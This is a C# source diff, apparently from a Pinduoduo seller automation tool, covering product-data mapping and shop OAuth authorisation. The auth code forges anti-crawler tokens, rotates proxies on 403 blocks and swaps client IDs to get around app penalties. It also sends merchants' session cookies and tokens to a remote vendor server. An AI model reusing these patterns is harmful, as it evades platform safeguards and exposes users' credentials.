pv.name = tp.sku[j].specs[i].spec_value;
pv.image = tp.sku[j].thumb_url;
pv.name_pinduoduo = pv.name;
pv.id = tp.sku[j].spec.Split(',')[i];
prop.Values.Add(pv);
}
}
for (int i = 0; i < tp.sku.Count; i++)
{
SkuMapBase sku = new SkuMapBase();
sku.name = tp.sku[i].specs[0].spec_key + ":" + tp.sku[i].specs[0].spec_value + ";" + tp.sku[i].specs[1].spec_key + ":" + tp.sku[i].specs[1].spec_value;
sku.before_price = tp.sku[i].normal_price / 100m;
sku.price = tp.sku[i].group_price / 100m;
sku.number = tp.sku[i].is_onsale == 0 ? 0 : tp.sku[i].quantity;
sku.sale_count = tp.sku[i].sold_quantity;
sku.id = tp.sku[i].sku_id;
sku.pinduoduo_image = tp.sku[i].thumb_url;
sku.prop_image = tp.sku[i].thumb_url;
sku.spec_pinduoduo = tp.sku[i].spec;
p.SkuMaps.Add(sku);
}
}
p.id = Pid;
p.cat1 = tp.cat_id_1;
p.cat2 = tp.cat_id_2;
p.cat3 = tp.cat_id_3;
p.cat4 = tp.cat_id == tp.cat_id_3 ? 0 : tp.cat_id;
p.cat_id = tp.cat_id;
p.from = "拼多多";
p.from_site_id = 2;
p.mall_id = tp.mall_id;
var f = new FromTitleToCat();
p.main_cid = f.GetMainCatId(p.cat1);
p.main_cat_name = f.MainCatName;
p.name_share = tp.share_desc;
p.content_pinduoduo = tp.goods_desc;
p.hd_thumb_url_pinduoduo = tp.hd_thumb_url;
p.thumb_url_pinduoduo = tp.thumb_url;
p.image = tp.image_url;
p.cost_template_id_pinduoduo = tp.cost_template_id;
p.saleCount = tp.sales;
p.from_id = FromId;
p.from_shop_name = FromShopName;
if (p.saleCount > 0 )
{
//url = BaseClass.BigDataApiUrl + "?obj=product/product";
//string json = JsonHelper.SerializeObject(p);
//string data = "&act=update&site_id=2&shop_name=" + GetHtml.UrlEncodeUtf8(p.from_shop_name) + "&json=" + GetHtml.UrlEncodeUtf8(json);
//html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
}
try
{
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
TaobaoMobileCollect.ProductTemp.Add(Pid,p);
}
catch
{
}
return p;
}
public TaobaoProductBase ProductToTaobao(ProductCollectBase p)
{
TaobaoProductBase t = new TaobaoProductBase();
t.GoodsId = p.id;
t.Cat1 = p.cat1;
t.Cat2 = p.cat2;
t.Cat3 = p.cat3;
t.Cat4 = p.cat4;
t.CatId = p.cat_id;
t.FromId = p.from_id;
t.FromType = p.from;
t.MailId = p.mall_id;
t.MainCatId = p.main_cid;
t.MainCatName = p.main_cat_name;
t.Price = p.price;
t.SaleCount = p.saleCount;
t.Titlte = p.name;
return t;
}
}
public class MobileDetailBase
{
public string goods_sn = "";
public string goods_name = "";
public string goods_desc = "";
public string thumb_url = "";
public string hd_thumb_url = "";
public string country = "";
public string warehouse = "";
public string image_url = "";
public string share_desc = "";
public string skip_goods = "";
public long goods_id = 0;
public int cat_id = 0;
public int mall_id = 0;
public int market_price = 0;
public int goods_type = 0;
public int is_refundable = 0;
public int quick_refund = 0;
public int is_pre_sale = 0;
public int pre_sale_time = 0;
public int rv_image = 0;
public int rv = 0;
public int gpv = 0;
public int shipment_limit_second = 0;
public int sales = 0;
public int is_mall_rec = 0;
public int min_on_sale_group_price = 0;
public int max_on_sale_group_price = 0;
public int min_on_sale_normal_price = 0;
public int max_on_sale_normal_price = 0;
public int min_group_price = 0;
public int max_group_price = 0;
public int max_normal_price = 0;
public int min_normal_price = 0;
public int old_min_on_sale_group_price = 0;
public int old_max_on_sale_group_price = 0;
public int old_min_group_price = 0;
public int old_max_group_price = 0;
public int tag = 0;
public int cost_template_id = 0;
public int show_rec = 0;
public int app_new = 0;
public int is_home_delivery = 0;
public int second_hand = 0;
public int is_mall_dsr = 0;
public int created_at = 0;
public int quantity = 0;
public int cat_id_1 = 0;
public int cat_id_2 = 0;
public int cat_id_3 = 0;
public List<MobileDetailgalleryBase> gallery = new List<MobileDetailgalleryBase>();
public List<MobileDetailskuBase> sku = new List<MobileDetailskuBase>();
}
public class MobileDetailgalleryBase
{
public long id = 0;
public long goods_id = 0;
public int width = 0;
public int height = 0;
public int priority = 0;
public int type = 0;
public string url = "";
}
/// <summary>
/// sku
/// </summary>
public class MobileDetailskuBase
{
public long sku_id = 0;
public long goods_id = 0;
public string thumb_url = "";
public int quantity = 0;
public int limit_quantity = 0;
public int sold_quantity = 0;
public int init_quantity = 0;
public int is_onsale = 0;
public string spec = "";
public string outer_id = "";
public int normal_price = 0;
public int group_price = 0;
public int old_group_price = 0;
/// <summary>
/// 未使用
/// </summary>
public int price = 0;
/// <summary>
/// 未使用
/// </summary>
public int market_price = 0;
public List<MobileDetailspecsBase> specs = new List<MobileDetailspecsBase>();
}
/// <summary>
/// 属性
/// </summary>
public class MobileDetailspecsBase
{
/// <summary>
/// 属性名
/// </summary>
public string spec_key = "";
/// <summary>
/// 属性值
/// </summary>
public string spec_value = "";
}
}
File diff suppressed because it is too large. Load diff
+48
View File
@@ -0,0 +1,48 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.Api
{
public class PinduoduoApiPropId
{
public ShopChatBase Shop;
public PinduoduoApiPropId(ShopChatBase shop)
{
Shop = shop;
}
/// <summary>
/// 初始化大类
/// </summary>
/// <param name="mainCatId"></param>
/// <returns></returns>
public string Get(int mainCatId)
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
api.Type = "pdd.goods.spec.get";
var cid = FromTitleToCat.MainCat.Find(c => c!=null && c.Key == mainCatId.ToString());
if (cid == null)
return "";
string id = cid.Value1.Substring(1);
id = id.Substring(0, id.IndexOf(","));
api.Data.Add("cat_id", id);
return api.GetData();
}
/// <summary>
/// 获取
/// </summary>
/// <param name="parentId"></param>
/// <param name="name"></param>
/// <returns></returns>
public string GetPropId(string parentId, string name)
{
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
api.Type = "pdd.goods.spec.id.get";
api.Data.Add("parent_spec_id", parentId);
api.Data.Add("spec_name", name);
return api.GetData();
}
}
}
+717
View File
@@ -0,0 +1,717 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
using Work.ManageClass;
using System.Net;
namespace Work.Api
{
public class PinduoduoAuth
{
public bool NoCache = false;
public bool MustAuth = false,MustAuthCps = false;
public bool IsCps = false, SignDuoProtocol = false;
public static List<string> Shops = new List<string>();
/// <summary>
/// 拼多多api网关
/// </summary>
public static string Gate = "https://gw-api.pinduoduo.com/api/router";
public static string strContent = "";
public static string ExecuteScript(string sExpression, string sCode)
{
MSScriptControl.ScriptControl scriptControl = new MSScriptControl.ScriptControl();
scriptControl.UseSafeSubset = true;
scriptControl.Language = "JScript";
scriptControl.AddCode(sCode);
try
{
string str = scriptControl.Eval(sExpression).ToString();
return str;
}
catch (Exception ex)
{
string str = ex.Message;
}
return null;
}
public static void UpdateMallId(ref ShopChatBase shop)
{
string url = BaseClass.BuildObjString("shop&act=update_mall_id");
string data = UserLogin.GetSignaturex(shop.ShopId, shop.ShopName);
data += "&mall_id=" + shop.MallId;
data += "&access_token=" + shop.AccessToken;
data += "&refresh_token=" + shop.RefreshToken;
data += "&from_tool=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName);
string html = GetHtml.PostUtf8(url, data);
url = BaseClass.LoginApiUrl + "?obj=product/image_pinbaobao&act=update_cookies";
data = UserLogin.GetSignaturex(shop.ShopId, shop.ShopName);
data += "&cookies=" + GetHtml.UrlEncodeUtf8(shop.Cookies);
html = GetHtml.PostUtf8(url, data);
}
public bool ReFresh(string refresh)
{
string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_refreshx&act=refresh&refresh_token=" + refresh
+ "&client_id=" + BaseClass.ClientId + "&client_secret=" + BaseClass.ApiKey.Replace("2", "z").Replace("1", "I").Replace("c", "C").Replace("9", "O");
string html = GetHtml.Utf8(url);
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
return true;
return false;
}
public bool Auth(ShopChatBase shop)
{
string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=get_token&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex();
string html = GetHtml.Utf8(url);
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token");
UpdateMallId(ref shop);
if (ReFresh(shop.RefreshToken))
{
return true;
}
}
if (string.IsNullOrEmpty(strContent))
{
string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js";
strContent = FileBase.ReadAllText(path);
}
string toolCode = "";
if (BaseClass.MainPath == "findgoldcat")
toolCode = "eb-";
if (BaseClass.MainPath == "findgoldcat_main")
toolCode = "oms-";
if (BaseClass.MainPath == "pinbaobao")
toolCode = "pbb-";
string refresh = "";
try
{
string cookies = "";
string sid = BaseClass.ShopId;
cookies = shop.Cookies;
sid = shop.ShopId;
if (MustAuth)
goto AuthGo;
url = BaseClass.LoginApiUrl + "pddx.php?act=get&cid=" + BaseClass.CompanyId + "&sid=" + sid
+ "&client_id=" + BaseClass.ClientId + "&client_secret=" + BaseClass.ApiKey.Replace("2", "z").Replace("1", "I").Replace("c", "C").Replace("9", "O")
+ "&state=" + toolCode + sid + "-" + BaseClass.CompanyId;
html = GetHtml.Utf8(url);
string token = BaseRegex.GetStringJson(ref html, "access_token");
refresh = BaseRegex.GetStringJson(ref html, "refresh_token");
if (!string.IsNullOrEmpty(refresh))
{
bool ok = ReFresh(refresh);
if (ok)
{
goto End;
}
}
AuthGo:
string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
string str = "";
for (int i = 0; i < 16; i++)
{
str += new Random(Guid.NewGuid().GetHashCode()).Next(9);
}
string strToken = str + "-" + strTime;
string strNumber = "";
string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber);
string codex = ExecuteScript(fun2, strContent);
string refere = "http://mms.pinduoduo.com/open.html?response_type=code&client_id=" + BaseClass.ClientId +
"&redirect_uri=http://www." + Randomx.GetWord(5) + ".com/pdd.php&state=";
refere += toolCode;
refere += sid + "-" + BaseClass.CompanyId;
url = "https://mms.pinduoduo.com/mars/application/authorize";
string data =
"{\"clientId\":\"" + BaseClass.ClientId + "\",\"responseType\":\"code\",\"scope\":[],\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
string code = BaseRegex.GetStringJson(ref html, "code");
if (string.IsNullOrEmpty(code))
return false;
url = BaseClass.LoginApiUrl + "pddx.php?code=" + code + "&state=" + toolCode + sid + "-" + BaseClass.CompanyId
+ "&client_id=" + BaseClass.ClientId + "&client_secret=" + BaseClass.ApiKey.Replace("2", "z").Replace("1", "I").Replace("c", "C").Replace("9", "O");
html = GetHtml.Utf8(url);
token = BaseRegex.GetStringJson(ref html, "access_token");
refresh = BaseRegex.GetStringJson(ref html, "refresh_token");
url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=add_token" +
"&shop_name=" + shop.ShopName + "&access_token=" + token + "&refresh_token=" + refresh + "&" + UserLogin.GetSignaturex();
html = GetHtml.Utf8(url);
End:
shop.AccessToken = token;
if (!string.IsNullOrEmpty(refresh))
shop.RefreshToken = refresh;
UpdateMallId(ref shop);
return !string.IsNullOrEmpty(token);
}
catch
{
return false;
}
}
public bool Auth(ShopChatBase shop,ref string client_id)
{
string prevAccessToken = shop.AccessToken;
string prevRefreshToken = shop.RefreshToken;
try
{
string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=get_token&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex();
string html = GetHtml.Utf8(url);
if (!IsCps && !string.IsNullOrEmpty(html) && html.Contains("access_token"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token");
if (!InvalidClientId(shop,client_id)&&ReFresh(shop.RefreshToken, client_id))
return true;
}
string TokenResult = GetToken(shop.ShopName);
if (!IsCps && !TokenResult.Contains("error"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref TokenResult, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref TokenResult, "refresh_token");
string client_idTemp = BaseRegex.GetStringJson(ref TokenResult, "client_id");
if (ReFresh(shop.RefreshToken, client_idTemp))//通过缓存的三个值 来判断是否匹配 否则重新取
{
if (!(InvalidClientId(shop, client_id) && shop.AccessToken == prevAccessToken && shop.RefreshToken == prevRefreshToken))
{
client_id = client_idTemp;
shop.ClientId = client_idTemp;
return true;
}
}
}
TokenResult = GetToken(shop.ShopName);
if (!TokenResult.Contains("error"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref TokenResult, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref TokenResult, "refresh_token");
string client_idTemp = BaseRegex.GetStringJson(ref TokenResult, "client_id");
if (!InvalidClientId(shop, client_id)&&ReFresh(shop.RefreshToken, client_idTemp))//通过缓存的三个值 来判断是否匹配 否则重新取
{
client_id = client_idTemp;
shop.ClientId = client_idTemp;
return true;
}
}
#region 之前循环七次请求 现改为一次批量请求
string ClientIdxReSult = "";
int retryCount = 0;
for (int i = 0; i < BaseClass.ClientIdx.Count; i++)
{
ClientIdxReSult += BaseClass.ClientIdx[i] + ",";
}
Again:
url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=getx&client_id=" + ClientIdxReSult +
"&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName);
html = GetHtml.Utf8(url);
if (string.IsNullOrEmpty(html))
{
if (retryCount < 2)//服务器返回超时 则重试两次
{
retryCount++;
goto Again;
}
retryCount = 0;
}
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token");
string clientidTemp = BaseRegex.GetStringJson(ref html, "client_id");
if (ReFresh(shop.RefreshToken, clientidTemp))
{
client_id = clientidTemp;
shop.ClientId = clientidTemp;
SaveToken(shop);//保存
return true;
}
}
#endregion
if (BaseClass.UserVersion < 4 && BaseClass.ClientIdSave.Count > 0)
{
int i = Randomx.GetId(BaseClass.ClientIdSave.Count);
url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=get&client_id=" + BaseClass.ClientIdSave[i] +
"&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName);
html = GetHtml.Utf8(url);
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token");
if (!InvalidClientId(shop, client_id) && ReFresh(shop.RefreshToken, BaseClass.ClientIdSave[i]))
{
client_id = BaseClass.ClientIdSave[i];
shop.ClientId = BaseClass.ClientIdSave[i];
return true;
}
}
}
for (int i = 0; !IsCps && i < BaseClass.ClientIdx.Count; i++)
{
url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=get&client_id=" + BaseClass.ClientIdx[i] +
"&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName);
html = GetHtml.Utf8(url);
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
{
shop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token");
shop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token");
if (!InvalidClientId(shop, client_id) && ReFresh(shop.RefreshToken, BaseClass.ClientIdx[i]))
{
client_id = BaseClass.ClientIdx[i];
shop.ClientId = BaseClass.ClientIdx[i];
return true;
}
}
}
if (IsCps && !MustAuthCps)
{
url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=get&client_id=" + client_id +
"&shop_name=" + shop.ShopName + "&" + UserLogin.GetSignaturex(shop.ShopId, shop.ShopName);
html = GetHtml.Utf8(url);
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
{
shop.CpsShop.AccessToken = BaseRegex.GetStringJson(ref html, "access_token");
shop.CpsShop.RefreshToken = BaseRegex.GetStringJson(ref html, "refresh_token");
if (!InvalidClientId(shop, client_id)&&ReFresh(shop.CpsShop.RefreshToken, client_id))
{
return true;
}
}
}
string cookies = "";
string sid = BaseClass.ShopId;
if (shop != null)
{
cookies = shop.Cookies;
sid = shop.ShopId;
}
string cookiesx = "";
string urlxs = "https://mms.pinduoduo.com/hades/oauth/authed/list";
string referes = "https://mms.pinduoduo.com/service-market/my-auth";
string dataxs = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + CpsSetAllGoods.getAnti0aon() + "\"}";
string htmlxs = GetPostTaobaoHtml.UploadTaobaoPost(urlxs, referes, true, dataxs, cookies, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.GetJsonPostAnti(url, refere, true, data, GetShopLoginInfo.Shops[i].Cookies, crawlerInfo);
if (string.IsNullOrEmpty(htmlxs)||htmlxs.Contains("无效"))
{
urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken";
referes = "https://fuwu.pinduoduo.com/service-market/my-service";
dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}";
htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, cookies, dataxs, CpsSetAllGoods.getAnti0aon());
string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken");
urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken;
htmlxs = GetJsonPostURL(urlxs, referes, true, "", cookies);
accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);");
cookiesx = "SUB_PASS_ID=" + accessToken;
string codexs = CpsSetAllGoods.getAnti0aon();
urlxs = "https://fuwu.pinduoduo.com/columbine/oauth/authed/list";
referes = "https://fuwu.pinduoduo.com/service-market/my-auth";
dataxs = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + codexs + "\"}";
htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, cookies + cookiesx, dataxs, codexs);
}
var m = BaseRegex.GetMatchRegex(ref htmlxs, @"\{[\w\W]+?\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
string id = BaseRegex.GetStringJson(ref list, "clientId");
if (id == "9558f920cf77403bb475243fe44482ad"||id== "81fd2bbabbd54ec5bf312e05401a0343"
|| id == "9f7d0ce6460b46e7a3833ac2e8325519"||id== "3069c1c325e44e85bcf5b6295694bdae"
||id== "f23bda7f6d9c4b6c8751268891779660"||id== "5d755c0cf97a4cbdb8aa958beea25011" || id == "911bd1c0c0a0403da88334e24ca288a2")
continue;
long auditAt = BaseRegex.GetLongJson(ref list, "auditAt");
long refreshTokenExpiredAt = BaseRegex.GetLongJson(ref list, "refreshTokenExpiredAt");
DateTime t1 = DateTime.Now;// DateTime.Parse(DateTime.Now.ToString("1970-01-01 00:00:00")).AddMilliseconds(auditAt);
DateTime t2 = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1)).AddMilliseconds(refreshTokenExpiredAt);
System.TimeSpan t3 = t2 - t1; //两个时间相减 。默认得到的是 两个时间之间的天数 得到:365.00:00:00
double getDay = t3.TotalDays;
if (BaseClass.ClientIdx.Contains(id) && getDay > 0)
{
client_id = id;
break;
}
}
if (client_id == "9558f920cf77403bb475243fe44482ad" || client_id == "81fd2bbabbd54ec5bf312e05401a0343"
|| client_id == "9f7d0ce6460b46e7a3833ac2e8325519" || client_id == "3069c1c325e44e85bcf5b6295694bdae"
|| client_id == "f23bda7f6d9c4b6c8751268891779660" || client_id == "5d755c0cf97a4cbdb8aa958beea25011" || client_id == "911bd1c0c0a0403da88334e24ca288a2")
return false;
//string urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken";
//string referes = "https://fuwu.pinduoduo.com/service-market/my-service";
//string dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}";
//string htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes,cookies, dataxs, CpsSetAllGoods.getAnti0aon());
//string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken");
////urlxs = "https://fuwu.pinduoduo.com/columbine/public/user/login";
////dataxs = "{\"accessToken\":\"" + accessToken + "\"}";
////htmlxs = GetJsonPostURL(urlxs, referes, true, dataxs, cookies);
//urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken;
//htmlxs = GetJsonPostURL(urlxs, referes, true, "", cookies);
//accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);");
//string cookiesx = "SUB_PASS_ID=" + accessToken;
//string serverUrl = "https://fuwu.pinduoduo.com/columbine/pop/service/time/length/list";
//string serverRefere = "https://fuwu.pinduoduo.com/service-market/my-service";
//string serverdata = "{\"page\":1,\"pageSize\":10,\"isExpired\":false}";
//string serverhtml = CpsSetAllGoods.Request_mms_pinduoduo_com(serverUrl, serverRefere, cookies + cookiesx, serverdata, CpsSetAllGoods.getAnti0aon());//GetPostTaobaoHtml.GetJsonPost(serverUrl, serverRefere, true, serverdata, cookies+ cookiesx);
//var m = BaseRegex.GetMatchRegex(ref serverhtml, @"\{[\w\W]+?\}");
//for (int j = 0; m != null && j < m.Count; j++)
//{
// string list = m[j].Groups[0].Value;
// string clientName = BaseRegex.GetStringJson(ref list, "serviceName");
// string id=GetClientId(clientName);
// if (BaseClass.ClientIdx.Contains(id))
// {
// client_id = id;
// break;
// }
//}
if (MustAuth)
goto AuthGo;
url = BaseClass.LoginApiUrl + "pddx.php?act=get&cid=" + BaseClass.CompanyId + "&sid=" + sid + "&state=" + "pbb-" + sid + "-" + BaseClass.CompanyId
+ "&client_id=" + client_id;
html = GetHtml.Utf8(url);
string time = BaseRegex.GetStringJson(ref html, "token_time");
DateTime token_time = BaseClass.GetServerTimeString().AddHours(-1);
if (!string.IsNullOrEmpty(time))
token_time = DateTime.Parse(time);
string token = BaseRegex.GetStringJson(ref html, "access_token");
string refresh = BaseRegex.GetStringJson(ref html, "refresh_token");
if (token_time.AddMinutes(3) > BaseClass.GetServerTimeString() || !NoCache && !string.IsNullOrEmpty(token))
goto End;
if (!string.IsNullOrEmpty(refresh))
{
bool ok = ReFresh(refresh, client_id);
if (ok)
{
goto End;
}
}
AuthGo:
string refere = "https://mms.pinduoduo.com/open.html?response_type=code&client_id=" +
client_id + "&redirect_uri=http://www.qimake.cn/pdd.php&state=";
refere += "pbb-";
refere += sid + "-" + BaseClass.CompanyId;
if (IsCps && SignDuoProtocol && BaseClass.Balance >= 20)
{
url = "https://mms.pinduoduo.com/cps/api/mall/signDuoProtocol";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, "{}", cookies);
if (!string.IsNullOrEmpty(html) && html.Contains("\"success\":true"))
{
//url = BaseClass.BuildObjString("shop&act=time_addx");
//string datax = UserLogin.GetSignaturex("", shop.ShopName) + "&tool_name=" + GetHtml.UrlEncodeUtf8(BaseClass.AgentName);
//html = GetHtml.PostUtf8(url, datax);
//if (html.Contains("ok,"))
// BaseClass.Balance = int.Parse(html.Replace("ok,", "").Trim());
shop.CpsShop.Status = 1;
CpsShopNew.ShopTemp.Add(shop);
}
}
url = "https://mms.pinduoduo.com/mars/application/authorize";
cookies = shop.Cookies;
string data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
if (html.Contains("接口已下线")|| html.Contains("403"))
{
string codex = UploadPinduoduoMain.AntiContent;
url = "https://mms.pinduoduo.com/hades/oauth/authorize";
data = "{\"clientId\":\""+ client_id + "\",\"responseType\":\"code\",\"scope\":[],\"isTrial\":0,\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("接口已下线") || html.Contains("403"))
{
if (string.IsNullOrEmpty(cookiesx))
{
urlxs = "https://mms.pinduoduo.com/janus/api/subSystem/generateAccessToken";
referes = "https://fuwu.pinduoduo.com/service-market/my-service";
dataxs = "{\"redirectUrl\":\"https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2Fmy-service\"}";
htmlxs = CpsSetAllGoods.Request_mms_pinduoduo_com(urlxs, referes, cookies, dataxs, CpsSetAllGoods.getAnti0aon());
string accessToken = BaseRegex.GetStringJson(ref htmlxs, "accessToken");
urlxs = "https://fuwu.pinduoduo.com/clint/api/login?redirect=https%3A%2F%2Ffuwu.pinduoduo.com%2Fservice-market%2F&accessToken=" + accessToken;
htmlxs = GetJsonPostURL(urlxs, referes, true, "", cookies);
accessToken = BaseRegex.GetMatchRegexString(ref htmlxs, "SUB_PASS_ID=([^;]+?);");
cookiesx = "SUB_PASS_ID=" + accessToken;
}
string codex = UploadPinduoduoMain.AntiContent;
url = "https://fuwu.pinduoduo.com/columbine/oauth/authorize";
data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[],\"isTrial\":0,\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, referes, true, data, cookiesx);
}
if (html.Contains("403"))
{
for (int j = 0; j < GetProxyHtml.ipCount; j++)
{
var proxyObject = GetProxyHtml.GetIPSProxyQueue();
if (proxyObject == null)
continue;
html = GetProxyHtml.UploadNewProxyTaobaoPost(url, refere, true, data, cookies, proxyObject);
GetProxyHtml.IpIndex++;
if (html.Contains("\"success\":true"))
break;
}
}
for (int i = 0; (html.Contains("应用处罚中")|| html.Contains("购买")) && i < BaseClass.ClientIdx.Count; i++)
{
shop.ClientId = BaseClass.ClientIdx[i];
client_id = shop.ClientId;
data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
string code = BaseRegex.GetStringJson(ref html, "code");
if (string.IsNullOrEmpty(code) && !html.Contains("应用处罚中"))
{
html = GetPostTaobaoHtml.GetJsonPostByProxy(url, refere, true, data, cookies);
code = BaseRegex.GetStringJson(ref html, "code");
}
if (string.IsNullOrEmpty(code) && !html.Contains("应用处罚中") && !html.Contains("403"))
{
string crawlerInfo = "";
string serverUrl = "https://mms.pinduoduo.com/hades/oauth/authed/list";
string serverRefere = "https://mms.pinduoduo.com/service-market/my-auth";
string serverdata = "{\"page\":1,\"pageSize\":50,\"crawlerInfo\":\"" + crawlerInfo + "\"}";
string serverhtml = GetPostTaobaoHtml.GetJsonPost(serverUrl, serverRefere, true, serverdata, cookies, crawlerInfo);
m = BaseRegex.GetMatchRegex(ref serverhtml, @"\{[\w\W]+?\}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
string id = BaseRegex.GetStringJson(ref list, "clientId");
if (BaseClass.ClientIdx.Contains(id))
{
url = "https://mms.pinduoduo.com/mars/application/authorize";
cookies = shop.Cookies;
data = "{\"clientId\":\"" + id + "\",\"responseType\":\"code\",\"scope\":[]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
if (html.Contains("接口已下线") || html.Contains("403"))
{
string codex = UploadPinduoduoMain.AntiContent;
url = "https://mms.pinduoduo.com/hades/oauth/authorize";
data = "{\"clientId\":\"" + client_id + "\",\"responseType\":\"code\",\"scope\":[],\"isTrial\":0,\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
if (html.Contains("403"))
{
for (int i = 0; i < GetProxyHtml.ipCount; i++)
{
var proxyObject = GetProxyHtml.GetIPSProxyQueue();
if (proxyObject == null)
continue;
html = GetProxyHtml.UploadNewProxyTaobaoPost(url, refere, true, data, cookies, proxyObject);
GetProxyHtml.IpIndex++;
if (html.Contains("\"success\":true"))
break;
}
}
code = BaseRegex.GetStringJson(ref html, "code");
if (!string.IsNullOrEmpty(code))
{
client_id = id;
shop.ClientId = id;
break;
}
}
}
}
if (string.IsNullOrEmpty(code) && !html.Contains("应用处罚中"))
{
for (int i = 0; !IsCps && i < BaseClass.ClientIdx.Count; i++)
{
url = "https://mms.pinduoduo.com/mars/application/authorize";
cookies = shop.Cookies;
data = "{\"clientId\":\"" + BaseClass.ClientIdx[i] + "\",\"responseType\":\"code\",\"scope\":[]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
code = BaseRegex.GetStringJson(ref html, "code");
if (!string.IsNullOrEmpty(code))
{
client_id = BaseClass.ClientIdx[i];
shop.ClientId = BaseClass.ClientIdx[i];
break;
}
}
if (string.IsNullOrEmpty(code))
return false;
}
Shops.Add(shop.Name);
url = BaseClass.LoginApiUrl + "pddx.php?code=" + code + "&state=" + "pbb-";
url += sid + "-" + BaseClass.CompanyId
+ "&client_id=" + client_id;
